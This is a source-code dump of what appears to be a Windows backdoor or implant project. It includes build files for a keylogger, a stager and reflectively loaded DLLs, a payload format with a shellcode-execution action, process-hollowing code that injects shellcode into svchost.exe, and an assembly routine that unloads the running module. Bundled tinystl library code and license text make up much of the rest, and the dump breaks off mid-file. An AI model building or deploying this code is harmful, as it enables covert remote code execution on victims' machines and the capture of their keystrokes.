{ return cmp(a, b) ? b : a; } 24 | 25 | /*** Iterator Tag ***/ 26 | class ForwardIterator {}; 27 | class BackwardIterator {}; 28 | 29 | template 30 | Iterator find(Iterator begin, Iterator end, const T &val, bool(*pred)(const T &a, const T &b) = equal) { 31 | for (; begin != end; ++begin) 32 | if (pred(*begin, val)) 33 | break; 34 | return begin; 35 | } 36 | 37 | template 38 | unsigned int count(Iterator begin, Iterator end, const T &val, bool(*pred)(const T &a, const T &b) = equal) { 39 | unsigned int count = 0; 40 | for (; begin != end; ++begin) 41 | if (pred(*begin, val)) 42 | ++count; 43 | return count; 44 | } 45 | }; 46 | 47 | #endif 48 | -------------------------------------------------------------------------------- /dep/hooker/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2017 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a copy 7 | # of this software and associated documentation files (the "Software"), to deal 8 | # in the Software without restriction, including without limitation the rights 9 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | # copies of the Software, and to permit persons to whom the Software is 11 | # furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in all 14 | # copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | # SOFTWARE. 23 | # 24 | cmake_minimum_required(VERSION 2.8) 25 | 26 | file(GLOB_RECURSE SOURCE_FILES *.c *.h *.hpp) 27 | add_library(hooker STATIC ${SOURCE_FILES}) 28 | target_include_directories(hooker SYSTEM PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}) 29 | source_group(TREE ${CMAKE_CURRENT_SOURCE_DIR} FILES ${SOURCE_FILES}) 30 | 31 | if (HOOKER_WITH_TESTS) 32 | enable_testing() 33 | add_subdirectory(tests) 34 | endif() 35 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/resource_collection.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "vector.h" 4 | 5 | namespace tinystl 6 | { 7 | template< class T> 8 | class resource_collection 9 | { 10 | public: 11 | ~resource_collection() 12 | { 13 | // cleanup remaining resources 14 | for (auto& arrayObject : m_array) 15 | delete arrayObject; 16 | 17 | // force size 0 18 | m_array.resize(0); 19 | } 20 | size_t create() 21 | { 22 | if (m_freelist.empty()) 23 | { 24 | m_array.push_back(new T()); 25 | return m_array.size(); 26 | } 27 | else 28 | { 29 | size_t idx = m_freelist.back(); 30 | m_freelist.pop_back(); 31 | m_array[idx] = new T(); 32 | return ++idx; 33 | } 34 | } 35 | void destroy(size_t idx) 36 | { 37 | delete m_array[--idx]; 38 | m_array[idx] = nullptr; 39 | m_freelist.push_back(idx); 40 | } 41 | 42 | T& operator [] (size_t idx) 43 | { 44 | return *m_array[--idx]; 45 | } 46 | 47 | size_t find(T* ptr) 48 | { 49 | for (size_t i = 0; i < m_array.size(); ++i) 50 | { 51 | if (m_array[i] == ptr) 52 | return i + 1; 53 | } 54 | 55 | return 0; 56 | } 57 | 58 | protected: 59 | tinystl::vector m_array; 60 | tinystl::vector m_freelist; 61 | }; 62 | }; 63 | -------------------------------------------------------------------------------- /src/vr-config.h.in: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | // Do not modify! This file AUTOGENERATED! 27 | 28 | // Private constants, do not modify. 29 | #cmakedefine vr_shared_key @vr_shared_key@ 30 | #define vr_mutant_main 0x1000000 31 | #define vr_mutant_gts 0x1000001 32 | #define vr_mutant_keylogger 0x1000002 33 | #define gts_shared_memory_name 0x2000000 34 | 35 | #cmakedefine VR_CONFIG "@VR_CONFIG_DATA@" 36 | -------------------------------------------------------------------------------- /src/shared/payload.h: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | #include 27 | #include "context.h" 28 | 29 | #define payload_magic_v1 0xdfc14973u 30 | #define payload_action_shellcode 0 31 | #define payload_action_knock 1 32 | 33 | #pragma pack(1) 34 | struct vr_payload 35 | { 36 | uint32_t magic; 37 | uint32_t timestamp; 38 | uint8_t action; 39 | }; 40 | #pragma pack() 41 | 42 | bool handle_payload(context& ctx, uint8_t* data, unsigned len, void* userdata=nullptr); 43 | -------------------------------------------------------------------------------- /src/vr/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | file(GLOB_RECURSE SOURCE_FILES *.h *.hpp *.cpp) 26 | if (VR_PAYLOAD_SERVICE) 27 | add_library(vr MODULE ${SOURCE_FILES} ${VR_CONFIG}) 28 | target_compile_definitions(vr PRIVATE -DVR_PAYLOAD_SERVICE=1) 29 | else () 30 | add_executable(vr WIN32 ${SOURCE_FILES} ${VR_CONFIG}) 31 | export_reflective_loader(vr) 32 | endif () 33 | target_link_libraries(vr shared tiny-json ws2_32 iphlpapi) 34 | add_dependencies(vr gts keylogger stager) 35 | if (NOT MSVC) 36 | target_link_libraries(vr mingw32 gcc mingwex gcc msvcrt) # CRT 37 | endif () 38 | -------------------------------------------------------------------------------- /src/stager/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | file(GLOB_RECURSE SOURCE_FILES *.h *.c) 26 | add_executable(stager WIN32 ${SOURCE_FILES}) 27 | target_link_libraries(stager shared ws2_32) 28 | if (NOT MSVC) 29 | target_link_libraries(stager mingw32 gcc mingwex gcc msvcrt) # CRT 30 | endif () 31 | 32 | find_package (Python COMPONENTS Interpreter REQUIRED) 33 | add_custom_command(TARGET stager POST_BUILD 34 | COMMAND ${Python_EXECUTABLE} -B ${CMAKE_SOURCE_DIR}/script/bin2h.py $ ${OUTPUT_BIN_DIRECTORY}/stager.exe.h STAGER 35 | COMMENT "Creating stager.exe.h" 36 | ) 37 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/new.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright 2012-2015 Matthew Endsley 3 | * All rights reserved 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted providing that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 18 | * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 22 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING 23 | * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 24 | * POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | #ifndef TINYSTL_NEW_H 28 | #define TINYSTL_NEW_H 29 | 30 | #include "stddef.h" 31 | 32 | namespace tinystl { 33 | struct placeholder {}; 34 | } 35 | 36 | inline void* operator new(size_t, tinystl::placeholder, void* ptr) { 37 | return ptr; 38 | } 39 | 40 | inline void operator delete(void*, tinystl::placeholder, void*) throw() {} 41 | 42 | #endif 43 | -------------------------------------------------------------------------------- /src/gts/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | file(GLOB_RECURSE SOURCE_FILES *.h *.cpp) 26 | add_library(gts SHARED ${SOURCE_FILES}) 27 | target_link_libraries(gts shared ws2_32 hooker) 28 | export_reflective_loader(gts) 29 | if (NOT MSVC) 30 | target_link_libraries(gts mingw32 gcc mingwex gcc msvcrt) # CRT 31 | endif () 32 | add_dependencies(gts stager) 33 | 34 | find_package (Python COMPONENTS Interpreter REQUIRED) 35 | add_custom_command(TARGET gts POST_BUILD 36 | COMMAND ${Python_EXECUTABLE} -B ${CMAKE_SOURCE_DIR}/script/bin2h.py $ ${OUTPUT_BIN_DIRECTORY}/gts.dll.h GTS 37 | COMMENT "Creating gts.dll.h" 38 | ) 39 | -------------------------------------------------------------------------------- /src/shared/shellcode.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #include "shellcode.h" 25 | #include "process_hollowing.h" 26 | #include "win32.h" 27 | 28 | void shellcode_spawn(uint8_t* shellcode, unsigned len) 29 | { 30 | hollow_process_startup_info info{}; 31 | info.shellcode_len = len; 32 | auto host = GetFolderPath(CSIDL_SYSTEM); 33 | host.append("\\svchost.exe"); 34 | auto pi = hollow_process(shellcode, host.c_str(), &info); 35 | if (pi.hThread) 36 | { 37 | ResumeThread(pi.hThread); 38 | CloseHandle(pi.hThread); 39 | CloseHandle(pi.hProcess); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/stddef.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright 2012-2015 Matthew Endsley 3 | * All rights reserved 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted providing that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 18 | * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 22 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING 23 | * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 24 | * POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | #ifndef TINYSTL_STDDEF_H 28 | #define TINYSTL_STDDEF_H 29 | 30 | #if defined(_WIN64) 31 | typedef long long unsigned int size_t; 32 | #elif defined(_WIN32) 33 | typedef unsigned int size_t; 34 | #elif defined (__linux__) && defined(__SIZE_TYPE__) 35 | typedef __SIZE_TYPE__ size_t; 36 | #else 37 | # include 38 | #endif 39 | 40 | #endif 41 | 42 | namespace tinystl { } 43 | 44 | namespace stl = tinystl; 45 | -------------------------------------------------------------------------------- /src/keylogger/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2019 Rokas Kupstys 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a 7 | # copy of this software and associated documentation files (the "Software"), 8 | # to deal in the Software without restriction, including without limitation 9 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | # and/or sell copies of the Software, and to permit persons to whom the 11 | # Software is furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in 14 | # all copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | # DEALINGS IN THE SOFTWARE. 23 | # 24 | 25 | file(GLOB_RECURSE SOURCE_FILES *.h *.cpp) 26 | #add_library(keylogger SHARED ${SOURCE_FILES}) 27 | add_executable(keylogger ${SOURCE_FILES}) 28 | target_link_libraries(keylogger PUBLIC shared psapi) 29 | export_reflective_loader(keylogger) 30 | if (NOT MSVC) 31 | target_link_libraries(keylogger mingw32 gcc mingwex gcc msvcrt) # CRT 32 | endif () 33 | 34 | find_package (Python COMPONENTS Interpreter REQUIRED) 35 | add_custom_command(TARGET keylogger POST_BUILD 36 | COMMAND ${Python_EXECUTABLE} -B ${CMAKE_SOURCE_DIR}/script/bin2h.py $ ${OUTPUT_BIN_DIRECTORY}/keylogger.dll.h KEYLOGGER 37 | COMMENT "Creating keylogger.dll.h" 38 | ) 39 | -------------------------------------------------------------------------------- /src/shared/math.h: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #pragma once 25 | 26 | #include 27 | 28 | #ifdef __cplusplus 29 | extern "C" { 30 | #endif 31 | 32 | extern uint64_t deterministic_uuid_seed; 33 | 34 | int random(int min, int max); 35 | uint64_t get_machine_hash(); 36 | void deterministic_uuid(uint64_t seed, char uuid[44]); 37 | HANDLE mutex_lock(uint64_t seed); 38 | BOOL mutex_is_locked(uint64_t seed); 39 | int64_t combine_hash(int64_t result, int64_t hash); 40 | uint32_t fnv32a(const void* data, int len); 41 | 42 | #ifdef __cplusplus 43 | } 44 | #endif 45 | 46 | #ifdef __cplusplus 47 | #include 48 | stl::string deterministic_uuid(uint64_t seed); 49 | #endif 50 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/allocator.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright 2012-2015 Matthew Endsley 3 | * All rights reserved 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted providing that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 18 | * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 22 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING 23 | * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 24 | * POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | #ifndef TINYSTL_ALLOCATOR_H 28 | #define TINYSTL_ALLOCATOR_H 29 | 30 | #include "stddef.h" 31 | #include 32 | 33 | namespace tinystl { 34 | struct allocator { 35 | static void* static_allocate(size_t bytes) { 36 | return malloc(bytes); 37 | } 38 | 39 | static void static_deallocate(void* ptr, size_t /*bytes*/) { 40 | free(ptr); 41 | } 42 | }; 43 | } 44 | 45 | #ifndef TINYSTL_ALLOCATOR 46 | # define TINYSTL_ALLOCATOR ::tinystl::allocator 47 | #endif 48 | 49 | #endif 50 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/allocator_default.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright 2012-2015 Matthew Endsley 3 | * All rights reserved 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted providing that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 18 | * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 22 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING 23 | * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 24 | * POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | #ifndef TINYSTL_ALLOCATOR_H 28 | #define TINYSTL_ALLOCATOR_H 29 | 30 | #include "stddef.h" 31 | 32 | namespace tinystl { 33 | 34 | struct allocator { 35 | static void* static_allocate(size_t bytes) { 36 | return operator new(bytes); 37 | } 38 | 39 | static void static_deallocate(void* ptr, size_t /*bytes*/) { 40 | operator delete(ptr); 41 | } 42 | }; 43 | } 44 | 45 | #ifndef TINYSTL_ALLOCATOR 46 | # define TINYSTL_ALLOCATOR ::tinystl::allocator 47 | #endif 48 | 49 | #endif 50 | -------------------------------------------------------------------------------- /src/shared/free_exit.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; MIT License 3 | ; 4 | ; Copyright (c) 2019 Rokas Kupstys 5 | ; 6 | ; Permission is hereby granted, free of charge, to any person obtaining a 7 | ; copy of this software and associated documentation files (the "Software"), 8 | ; to deal in the Software without restriction, including without limitation 9 | ; the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | ; and/or sell copies of the Software, and to permit persons to whom the 11 | ; Software is furnished to do so, subject to the following conditions: 12 | ; 13 | ; The above copyright notice and this permission notice shall be included in 14 | ; all copies or substantial portions of the Software. 15 | ; 16 | ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | ; THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | ; FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | ; DEALINGS IN THE SOFTWARE. 23 | ; 24 | ; This file implements a function that frees passed module (which is a module 25 | ; that contains currently executing code) and exits current thread without 26 | ; returning to already freed code. 32bit version is in win32.cpp 27 | ; 28 | .code 29 | 30 | extern ExitThread: near 31 | extern VirtualFree: near 32 | public free_module_exit_thread 33 | 34 | free_module_exit_thread: 35 | sub rsp, 20h 36 | push rdx ; thread exit code 37 | push 0C000h ; MEM_RELEASE | MEM_DECOMMIT 38 | push 0 ; size 39 | push rcx ; module 40 | mov rax, ExitThread ; ExitThread 41 | push rax 42 | jmp VirtualFree ; VirtualFree 43 | 44 | END -------------------------------------------------------------------------------- /src/shared/resources.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, 